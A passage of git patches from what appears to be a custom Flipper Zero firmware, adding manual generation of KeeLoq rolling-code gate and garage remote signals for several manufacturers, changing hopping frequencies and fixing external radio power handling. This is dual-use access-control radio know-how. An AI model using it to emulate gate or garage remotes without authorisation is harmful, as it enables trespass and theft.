SubmenuIndexGibidi433, SubmenuIndexNiceFlo12bit, SubmenuIndexNiceFlo24bit, SubmenuIndexNiceFlorS_433_92, @@ -19,14 +26,19 @@ typedef enum { SubmenuIndexNiceSmilo_433_92, SubmenuIndexCAME12bit, SubmenuIndexCAME24bit, - SubmenuIndexBETT_433, + SubmenuIndexCAME12bit868, + SubmenuIndexCAME24bit868, SubmenuIndexCAMETwee, + SubmenuIndexCAMESpace, + SubmenuIndexPricenton, + SubmenuIndexPricenton315, + SubmenuIndexBETT_433, + SubmenuIndexLinear_300_00, SubmenuIndexNeroSketch, SubmenuIndexNeroRadio, SubmenuIndexGateTX, SubmenuIndexDoorHan_315_00, SubmenuIndexDoorHan_433_92, - SubmenuIndexLinear_300_00, SubmenuIndexLiftMaster_315_00, SubmenuIndexLiftMaster_390_00, SubmenuIndexLiftMaster_433_00, diff --git a/applications/main/subghz/scenes/subghz_scene_set_type.c b/applications/main/subghz/scenes/subghz_scene_set_type.c index bc76ee146..7a16fc8d9 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_type.c +++ b/applications/main/subghz/scenes/subghz_scene_set_type.c @@ -100,25 +100,67 @@ void subghz_scene_set_type_on_enter(void* context) { subghz); submenu_add_item( subghz->submenu, - "Princeton 433MHz", - SubmenuIndexPricenton, + "KL: DoorHan 315MHz", + SubmenuIndexDoorHan_315_00, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( subghz->submenu, - "Nice Flo 12bit 433MHz", - SubmenuIndexNiceFlo12bit, + "KL: DoorHan 433MHz", + SubmenuIndexDoorHan_433_92, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( subghz->submenu, - "Nice Flo 24bit 433MHz", - SubmenuIndexNiceFlo24bit, + "KL: Beninca 433MHz", + SubmenuIndexBeninca433, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( subghz->submenu, - "Nice Smilo 433MHz", + "KL: Beninca 868MHz", + SubmenuIndexBeninca868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Sommer 434MHz", + SubmenuIndexSommer_FM_434, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Sommer 868MHz", + SubmenuIndexSommer_FM_868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: IronLogic 433MHz", + SubmenuIndexIronLogic, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: DTM Neo 433MHz", + SubmenuIndexDTMNeo433, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Gibidi 433MHz", + SubmenuIndexGibidi433, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Elmes (PL) 433MHz", + SubmenuIndexElmesElectronic, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Nice Smilo 433MHz", SubmenuIndexNiceSmilo_433_92, subghz_scene_set_type_submenu_callback, subghz); @@ -134,6 +176,18 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexNiceOne_433_92, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "Nice Flo 12bit 433MHz", + SubmenuIndexNiceFlo12bit, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Nice Flo 24bit 433MHz", + SubmenuIndexNiceFlo24bit, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "CAME 12bit 433MHz", @@ -146,6 +200,42 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexCAME24bit, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "CAME 12bit 868MHz", + SubmenuIndexCAME12bit868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "CAME 24bit 868MHz", + SubmenuIndexCAME24bit868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "CAME TWEE 433MHz", + SubmenuIndexCAMETwee, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "CAME Space 433MHz", + SubmenuIndexCAMESpace, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Princeton 315MHz", + SubmenuIndexPricenton315, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Princeton 433MHz", + SubmenuIndexPricenton, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "BETT 433MHz", @@ -158,12 +248,6 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexLinear_300_00, subghz_scene_set_type_submenu_callback, subghz); - submenu_add_item( - subghz->submenu, - "CAME TWEE 433MHz", - SubmenuIndexCAMETwee, - subghz_scene_set_type_submenu_callback, - subghz); // submenu_add_item( // subghz->submenu, "Nero Sketch", SubmenuIndexNeroSketch, subghz_scene_set_type_submenu_callback, subghz); // submenu_add_item( @@ -174,18 +258,6 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexGateTX, subghz_scene_set_type_submenu_callback, subghz); - submenu_add_item( - subghz->submenu, - "DoorHan 315MHz", - SubmenuIndexDoorHan_315_00, - subghz_scene_set_type_submenu_callback, - subghz); - submenu_add_item( - subghz->submenu, - "DoorHan 433MHz", - SubmenuIndexDoorHan_433_92, - subghz_scene_set_type_submenu_callback, - subghz); submenu_add_item( subghz->submenu, "Security+1.0 315MHz", @@ -261,6 +333,15 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { generated_protocol = true; } break; + case SubmenuIndexPricenton315: + key = (key & 0x00FFFFF0) | 0x4; //btn 0x1, 0x2, 0x4, 0x8 + if(subghz_scene_set_type_submenu_gen_data_protocol( + subghz, SUBGHZ_PROTOCOL_PRINCETON_NAME, key, 24, 315000000, "AM650")) { + uint32_t te = 400; + flipper_format_update_uint32(subghz->txrx->fff_data, "TE", (uint32_t*)&te, 1); + generated_protocol = true; + } + break; case SubmenuIndexNiceFlo12bit: key = (key & 0x0000FFF0) | 0x1; //btn 0x1, 0x2, 0x4 if(subghz_scene_set_type_submenu_gen_data_protocol( @@ -289,6 +370,20 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { generated_protocol = true; } break; + case SubmenuIndexCAME12bit868: + key = (key & 0x0000FFF0) | 0x1; //btn 0x1, 0x2, 0x4 + if(subghz_scene_set_type_submenu_gen_data_protocol( + subghz, SUBGHZ_PROTOCOL_CAME_NAME, key, 12, 868350000, "AM650")) { + generated_protocol = true; + } + break; + case SubmenuIndexCAME24bit868: + key = (key & 0x00FFFFF0) | 0x4; //btn 0x1, 0x2, 0x4, 0x8 + if(subghz_scene_set_type_submenu_gen_data_protocol( + subghz, SUBGHZ_PROTOCOL_CAME_NAME, key, 24, 868350000, "AM650")) { + generated_protocol = true; + } + break; case SubmenuIndexLinear_300_00: key = (key & 0x3FF); if(subghz_scene_set_type_submenu_gen_data_protocol( @@ -325,6 +420,236 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { generated_protocol = true; } break; + case SubmenuIndexBeninca433: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x000FFF00) | 0x00800080, + 0x1, + 0x0005, + "Beninca", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "Beninca"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexBeninca868: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 868350000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x000FFF00) | 0x00800080, + 0x1, + 0x0005, + "Beninca", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "Beninca"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexElmesElectronic: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x00FFFFFF) | 0x02000000, + 0x2, + 0x0003, + "Elmes_Poland", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Elmes_Poland"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexGibidi433: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x00FFFFFF, + 0x2, + 0x0003, + "Gibidi", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "Gibidi"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexIronLogic: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x0FFFFFFF, + 0x2, + 0x0003, + "IronLogic", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "IronLogic"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexSommer_FM_434: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "FM476", 434420000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x0FFFFFFF, + 0x4, + 0x0003, + "Sommer(fsk476)", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Sommer(fsk476)"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexSommer_FM_868: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "FM476", 868800000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x0FFFFFFF, + 0x4, + 0x0003, + "Sommer(fsk476)", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Sommer(fsk476)"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexDTMNeo433: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x000FFFFF, + 0x2, + 0x0003, + "DTM_Neo", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "DTM_Neo"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexCAMESpace: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x00FFFFFF, + 0x2, + 0x0003, + "Came_Space", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Came_Space"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; case SubmenuIndexBFTMitto: subghz->txrx->transmitter = subghz_transmitter_alloc_init( subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); @@ -397,6 +722,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { 0x0003, "DoorHan", subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "DoorHan"); generated_protocol = true; } else { generated_protocol = false; @@ -421,6 +747,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { 0x0003, "DoorHan", subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "DoorHan"); generated_protocol = true; } else { generated_protocol = false; @@ -493,6 +820,8 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { 0x0003, "NICE_Smilo", subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "NICE_Smilo"); generated_protocol = true; } else { generated_protocol = false; diff --git a/documentation/SubGHzSettings.md b/documentation/SubGHzSettings.md index e30a7c244..4b85f25e3 100644 --- a/documentation/SubGHzSettings.md +++ b/documentation/SubGHzSettings.md @@ -2,7 +2,7 @@ #### CC1101 Frequency range specs: 300-348 MHz, 386-464 MHz, and 778-928 MHz (+ 350MHz and 467MHz was added to default range) -Edit user settings file located on your microSD card - `subghz/assets/setting_user` +Edit user settings file located on your microSD card - `subghz/assets/setting_user` (remove .example from name to use config) in this file you will find we already have extra frequencies added if you need your custom one, make sure it doesn't listed here @@ -90,7 +90,6 @@ Your frequencies will be added after default ones ### Default hopper list ``` 315000000, - 330000000, 390000000, 433420000, 433920000, diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 4bd978c8f..d08352e78 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -198,10 +198,12 @@ static bool subghz_protocol_keeloq_gen_data( (instance->generic.serial & 0x3FF) << 16 | //ToDo in some protocols the discriminator is 0 instance->generic.cnt; - // DTM Neo uses 12bit -> simple learning -- FAAC_RC,XT , Mutanco_Mutancode -> 12bit normal learning + // DTM Neo, Came_Space uses 12bit -> simple learning -- FAAC_RC,XT , Mutanco_Mutancode, Stilmatic(Schellenberg) -> 12bit normal learning if((strcmp(instance->manufacture_name, "DTM_Neo") == 0) || (strcmp(instance->manufacture_name, "FAAC_RC,XT") == 0) || - (strcmp(instance->manufacture_name, "Mutanco_Mutancode") == 0)) { + (strcmp(instance->manufacture_name, "Mutanco_Mutancode") == 0) || + (strcmp(instance->manufacture_name, "Stilmatic") == 0) || + (strcmp(instance->manufacture_name, "Came_Space") == 0)) { decrypt = btn << 28 | (instance->generic.serial & 0xFFF) << 16 | instance->generic.cnt; } @@ -567,6 +569,10 @@ SubGhzProtocolStatus instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } // Read manufacturer from file if(flipper_format_read_string( flipper_format, "Manufacture", instance->manufacture_from_file)) { @@ -1247,6 +1253,10 @@ SubGhzProtocolStatus instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } // Read manufacturer from file if(flipper_format_read_string( flipper_format, "Manufacture", instance->manufacture_from_file)) { diff --git a/lib/subghz/subghz_setting.c b/lib/subghz/subghz_setting.c index 05b6a74ad..ca094e556 100644 --- a/lib/subghz/subghz_setting.c +++ b/lib/subghz/subghz_setting.c @@ -78,7 +78,6 @@ static const uint32_t subghz_frequency_list[] = { static const uint32_t subghz_hopper_frequency_list[] = { 315000000, - 330000000, 390000000, 433420000, 433920000, From eb57f4c7e48c82dac01256d243c5dd67d48db094 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 12 Mar 2023 15:53:06 +0300 Subject: [PATCH 069/329] Fix ironlogic add manually --- applications/main/subghz/scenes/subghz_scene_set_type.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/applications/main/subghz/scenes/subghz_scene_set_type.c b/applications/main/subghz/scenes/subghz_scene_set_type.c index 7a16fc8d9..26065b107 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_type.c +++ b/applications/main/subghz/scenes/subghz_scene_set_type.c @@ -529,9 +529,9 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { subghz_protocol_keeloq_create_data( subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), subghz->txrx->fff_data, - key & 0x0FFFFFFF, - 0x2, - 0x0003, + key & 0x00FFFFF0, + 0x4, + 0x0005, "IronLogic", subghz->txrx->preset); flipper_format_write_string_cstr( @@ -609,7 +609,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { subghz->txrx->fff_data, key & 0x000FFFFF, 0x2, - 0x0003, + 0x0005, "DTM_Neo", subghz->txrx->preset); flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "DTM_Neo"); From 5ddb9bd44458097f3c32d04dd4f1e4a6a0d4f387 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 12 Mar 2023 18:07:54 +0300 Subject: [PATCH 070/329] Correct hopping freqs, now it actually works good --- documentation/SubGHzSettings.md | 2 +- lib/subghz/subghz_setting.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/SubGHzSettings.md b/documentation/SubGHzSettings.md index 4b85f25e3..d01cd6250 100644 --- a/documentation/SubGHzSettings.md +++ b/documentation/SubGHzSettings.md @@ -89,8 +89,8 @@ Your frequencies will be added after default ones ### Default hopper list ``` + 310000000, 315000000, - 390000000, 433420000, 433920000, 868350000, diff --git a/lib/subghz/subghz_setting.c b/lib/subghz/subghz_setting.c index ca094e556..1216a9571 100644 --- a/lib/subghz/subghz_setting.c +++ b/lib/subghz/subghz_setting.c @@ -77,8 +77,8 @@ static const uint32_t subghz_frequency_list[] = { }; static const uint32_t subghz_hopper_frequency_list[] = { + 310000000, 315000000, - 390000000, 433420000, 433920000, 868350000, From c560394358f0e15bc78f745c23403fe7a3c3bc5d Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 13 Mar 2023 18:43:50 +0300 Subject: [PATCH 071/329] External module power bug fixes --- .../main/subghz/scenes/subghz_scene_ext_module_settings.c | 2 +- applications/main/subghz/scenes/subghz_scene_start.c | 1 + applications/main/subghz/subghz.c | 3 +++ firmware/targets/f7/furi_hal/furi_hal_subghz.c | 4 ++-- 4 files changed, 7 insertions(+), 3 deletions(-) diff --git a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c index c58661332..163099e69 100644 --- a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c +++ b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c @@ -181,7 +181,7 @@ bool subghz_scene_ext_module_settings_on_event(void* context, SceneManagerEvent // Check if module is present, if no -> show error if(!furi_hal_subghz_check_radio()) { value_index_exm = 0; - furi_hal_subghz_set_radio_type(value_index_exm); + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); furi_string_set(subghz->error_str, "Please connect\nexternal radio"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); } diff --git a/applications/main/subghz/scenes/subghz_scene_start.c b/applications/main/subghz/scenes/subghz_scene_start.c index fd31353e0..f23e2d0cb 100644 --- a/applications/main/subghz/scenes/subghz_scene_start.c +++ b/applications/main/subghz/scenes/subghz_scene_start.c @@ -84,6 +84,7 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) { furi_hal_subghz_enable_ext_power(); if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); furi_string_set(subghz->error_str, "Please connect\nexternal radio"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return true; diff --git a/applications/main/subghz/subghz.c b/applications/main/subghz/subghz.c index e2b484120..f7adc4021 100644 --- a/applications/main/subghz/subghz.c +++ b/applications/main/subghz/subghz.c @@ -73,6 +73,9 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) { subghz->in_decoder_scene = false; subghz->in_decoder_scene_skip = false; + // Call enable power for external module + furi_hal_subghz_enable_ext_power(); + // View Dispatcher subghz->view_dispatcher = view_dispatcher_alloc(); view_dispatcher_enable_queue(subghz->view_dispatcher); diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 181445372..989f97698 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -93,10 +93,10 @@ bool furi_hal_subghz_enable_ext_power(void) { } if(furi_hal_subghz.radio_type != SubGhzRadioInternal) { uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 2) { + while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { furi_hal_power_enable_otg(); //CC1101 power-up time - furi_delay_ms(5); + furi_delay_ms(10); } } return furi_hal_power_is_otg_enabled(); From d5ea5168a063b81fc3c7adbd03bb7df13af31c8c Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 13 Mar 2023 19:25:17 +0300 Subject: [PATCH 072/329] Prepare apps for next OFW changes PR 2420 will change PLUGIN type meaning --- applications/debug/uart_echo/application.fam | 2 +- applications/plugins/dap_link/application.fam | 2 +- applications/plugins/hid_app/application.fam | 4 ++-- applications/plugins/music_player/application.fam | 2 +- applications/plugins/pocsag_pager/application.fam | 2 +- applications/plugins/signal_generator/application.fam | 2 +- applications/plugins/snake_game/application.fam | 2 +- applications/plugins/swd_probe/application.fam | 2 +- applications/plugins/weather_station/application.fam | 2 +- 9 files changed, 10 insertions(+), 10 deletions(-) diff --git a/applications/debug/uart_echo/application.fam b/applications/debug/uart_echo/application.fam index 9bc61edc8..4ad14e6c3 100644 --- a/applications/debug/uart_echo/application.fam +++ b/applications/debug/uart_echo/application.fam @@ -1,7 +1,7 @@ App( appid="UART_Echo", name="UART Echo", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="uart_echo_app", cdefines=["APP_UART_ECHO"], requires=["gui"], diff --git a/applications/plugins/dap_link/application.fam b/applications/plugins/dap_link/application.fam index 711e4833d..017143803 100644 --- a/applications/plugins/dap_link/application.fam +++ b/applications/plugins/dap_link/application.fam @@ -1,7 +1,7 @@ App( appid="dap_link", name="DAP Link", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="dap_link_app", requires=[ "gui", diff --git a/applications/plugins/hid_app/application.fam b/applications/plugins/hid_app/application.fam index fa67fed6b..e96e956d8 100644 --- a/applications/plugins/hid_app/application.fam +++ b/applications/plugins/hid_app/application.fam @@ -1,7 +1,7 @@ App( appid="hid_usb", name="USB Keyboard & Mouse", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="hid_usb_app", stack_size=1 * 1024, fap_category="Misc", @@ -14,7 +14,7 @@ App( App( appid="hid_ble", name="Bluetooth Remote", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="hid_ble_app", stack_size=1 * 1024, fap_category="Misc", diff --git a/applications/plugins/music_player/application.fam b/applications/plugins/music_player/application.fam index b8bd75198..9fdd96166 100644 --- a/applications/plugins/music_player/application.fam +++ b/applications/plugins/music_player/application.fam @@ -1,7 +1,7 @@ App( appid="Music_Player", name="Music Player", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="music_player_app", cdefines=["APP_MUSIC_PLAYER"], requires=[ diff --git a/applications/plugins/pocsag_pager/application.fam b/applications/plugins/pocsag_pager/application.fam index 86f8d528b..b0d1bedd1 100644 --- a/applications/plugins/pocsag_pager/application.fam +++ b/applications/plugins/pocsag_pager/application.fam @@ -1,7 +1,7 @@ App( appid="pocsag_pager", name="POCSAG Pager", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="pocsag_pager_app", cdefines=["APP_POCSAG_PAGER"], requires=["gui"], diff --git a/applications/plugins/signal_generator/application.fam b/applications/plugins/signal_generator/application.fam index 7536a4c11..7d9d181ec 100644 --- a/applications/plugins/signal_generator/application.fam +++ b/applications/plugins/signal_generator/application.fam @@ -1,7 +1,7 @@ App( appid="Signal_Generator", name="Signal Generator", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="signal_gen_app", cdefines=["APP_SIGNAL_GEN"], requires=["gui"], diff --git a/applications/plugins/snake_game/application.fam b/applications/plugins/snake_game/application.fam index abf4f72c5..faa5ce145 100644 --- a/applications/plugins/snake_game/application.fam +++ b/applications/plugins/snake_game/application.fam @@ -1,7 +1,7 @@ App( appid="Snake", name="Snake Game", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="snake_game_app", cdefines=["APP_SNAKE_GAME"], requires=["gui"], diff --git a/applications/plugins/swd_probe/application.fam b/applications/plugins/swd_probe/application.fam index c24813ed9..c1aec00ea 100644 --- a/applications/plugins/swd_probe/application.fam +++ b/applications/plugins/swd_probe/application.fam @@ -1,7 +1,7 @@ App( appid="swd_probe", name="SWD Probe", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="swd_probe_app_main", cdefines=["APP_SWD_PROBE"], requires=["notification", "gui", "storage", "dialogs", "cli"], diff --git a/applications/plugins/weather_station/application.fam b/applications/plugins/weather_station/application.fam index 935f92573..28a425bdc 100644 --- a/applications/plugins/weather_station/application.fam +++ b/applications/plugins/weather_station/application.fam @@ -1,7 +1,7 @@ App( appid="weather_station", name="Weather Station", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, targets=["f7"], entry_point="weather_station_app", cdefines=["APP_WEATHER_STATION"], From 84b22426366e9c006eb82632793832998607415b Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 13 Mar 2023 23:19:33 +0300 Subject: [PATCH 073/329] Check for external module when launching from favourites --- CHANGELOG.md | 1 + applications/main/subghz/subghz.c | 5 +++++ 2 files changed, 6 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5cd2d5f13..a2700b486 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ### New changes * SubGHz: 